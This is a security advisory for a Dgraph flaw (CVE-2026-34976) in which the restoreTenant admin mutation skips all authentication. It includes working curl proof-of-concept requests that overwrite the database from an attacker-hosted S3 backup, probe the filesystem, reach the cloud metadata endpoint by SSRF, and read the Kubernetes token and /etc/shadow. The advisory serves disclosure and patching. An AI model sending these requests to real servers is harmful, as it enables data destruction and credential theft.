github.com/dgraph-io/dgraph/v25
Affected
- introduced
0, fixed25.3.1(semver)
Fixed versions
25.3.1
Fix
- Fixed version
25.3.1go get github.com/dgraph-io/dgraph/[email protected]
Advisory
Also known as: CVE-2026-34976, GO-2026-5529
Dgraph: Pre-Auth Database Overwrite + SSRF + File Read via restoreTenant Missing Authorization
The restoreTenant admin mutation is missing from the authorization middleware config (admin.go:499-522), making it completely unauthenticated. Unlike the similar restore mutation which requires Guardian-of-Galaxy authentication, restoreTenant executes with zero middleware.
This mutation accepts attacker-controlled backup source URLs (including file:// for local filesystem access), S3/MinIO credentials, encryption key file paths, and Vault credential file paths. An unauthenticated attacker can overwrite the entire database, read server-side files, and perform SSRF.
Authentication Bypass
Every admin mutation has middleware configured in adminMutationMWConfig (admin.go:499-522) EXCEPT restoreTenant. The restore mutation has gogMutMWs (Guardian of Galaxy auth + IP whitelist + logging). restoreTenant is absent from the map.
When middleware is looked up at resolve/resolver.go:431, the map returns nil. The Then() method at resolve/middlewares.go:98 checks len(mws) == 0 and returns the resolver directly, skipping all authentication, authorization, IP whitelisting, and audit logging.
PoC 1: Pre-Auth Database Overwrite
The attacker hosts a crafted Dgraph backup on their own S3 bucket, then triggers a restore that overwrites the target namespace's entire database:
# No authentication headers needed. No X-Dgraph-AuthToken, no JWT, no Guardian credentials.
curl -X POST http://dgraph-alpha:8080/admin \
-H "Content-Type: application/json" \
-d '{
"query": "mutation { restoreTenant(input: { restoreInput: { location: \"s3://attacker-bucket/evil-backup\", accessKey: \"AKIAIOSFODNN7EXAMPLE\", secretKey: \"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\", anonymous: false }, fromNamespace: 0 }) { code message } }"
}'
# Response: {"data":{"restoreTenant":{"code":"Success","message":"Restore operation started."}}}
# The server fetches the attacker's backup from S3 and overwrites namespace 0 (root namespace).
The resolver at admin/restore.go:54-74 passes location, accessKey, secretKey directly to worker.ProcessRestoreRequest. The worker at online_restore.go:98-106 connects to the attacker's S3 bucket and restores the malicious backup, overwriting all data.
Note: the anonymous: true flag (minioclient.go:108-113) creates an S3 client with NO credentials, allowing the attacker to host the malicious backup on a public S3 bucket without providing any AWS keys:
mutation { restoreTenant(input: {
restoreInput: { location: "s3://public-attacker-bucket/evil-backup", anonymous: true },
fromNamespace: 0
}) { code message } }
Live PoC Results (Dgraph v24.x Docker)
Tested against dgraph/dgraph:latest in Docker. Side-by-side comparison:
# restore (HAS middleware) -> BLOCKED
$ curl ... '{"query": "mutation { restore(...) { code } }"}'
{"errors":[{"message":"resolving restore failed because unauthorized ip address: 172.25.0.1"}]}
# restoreTenant (MISSING middleware) -> AUTH BYPASSED
$ curl ... '{"query": "mutation { restoreTenant(...) { code } }"}'
{"errors":[{"message":"resolving restoreTenant failed because failed to verify backup: No backups with the specified backup ID"}]}
The restore mutation is blocked by the IP whitelist middleware. The restoreTenant mutation bypasses all middleware and reaches the backup verification logic.
Filesystem enumeration also confirmed with distinct error messages:
/etc/ (exists): "No backups with the specified backup ID" (directory scanned)/nonexistent/ (doesn't exist): "The uri path doesn't exists" (path doesn't exist)/tmp/ (exists, empty): "No backups with the specified backup ID" (directory scanned)PoC 2: Local Filesystem Probe via file:// Scheme
curl -X POST http://dgraph-alpha:8080/admin \
-H "Content-Type: application/json" \
-d '{
"query": "mutation { restoreTenant(input: { restoreInput: { location: \"file:///etc/\" }, fromNamespace: 0 }) { code message } }"
}'
# Error response reveals whether /etc/ exists and its structure.
# backup_handler.go:130-132 creates a fileHandler for file:// URIs.
# fileHandler.ListPaths at line 161-166 walks the local filesystem.
# fileHandler.Read at line 153 reads files: os.ReadFile(h.JoinPath(path))
PoC 3: SSRF via S3 Endpoint
curl -X POST http://dgraph-alpha:8080/admin \
-H "Content-Type: application/json" \
-d '{
"query": "mutation { restoreTenant(input: { restoreInput: { location: \"s3://169.254.169.254/latest/meta-data/\" }, fromNamespace: 0 }) { code message } }"
}'
# The Minio client at backup_handler.go:257 connects to 169.254.169.254 as an S3 endpoint.
# Error response may leak cloud metadata information.
PoC 4: Vault SSRF + Server File Path Read
curl -X POST http://dgraph-alpha:8080/admin \
-H "Content-Type: application/json" \
-d '{
"query": "mutation { restoreTenant(input: { restoreInput: { location: \"s3://attacker-bucket/backup\", accessKey: \"AKIA...\", secretKey: \"...\", vaultAddr: \"http://internal-service:8080\", vaultRoleIDFile: \"/var/run/secrets/kubernetes.io/serviceaccount/token\", vaultSecretIDFile: \"/etc/passwd\", encryptionKeyFile: \"/etc/shadow\" }, fromNamespace: 0 }) { code message } }"
}'
# vaultAddr at online_restore.go:484 triggers SSRF to internal-service:8080
# vaultRoleIDFile at online_restore.go:478-479 reads the K8s SA token from disk
# encryptionKeyFile at online_restore.go:475 reads /etc/shadow via BuildEncFlag
Fix
Add restoreTenant to adminMutationMWConfig:
"restoreTenant": gogMutMWs,
Koda Reef
Critical Basis: The source's own band: CRITICAL
0, fixed 25.3.1 (semver)25.3.1
25.3.1go get github.com/dgraph-io/dgraph/[email protected]0, last affected 24.0.5 (semver)None listed
No fixed version is listed.
0, last affected 1.2.8 (semver)None listed
No fixed version is listed.
Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
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Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0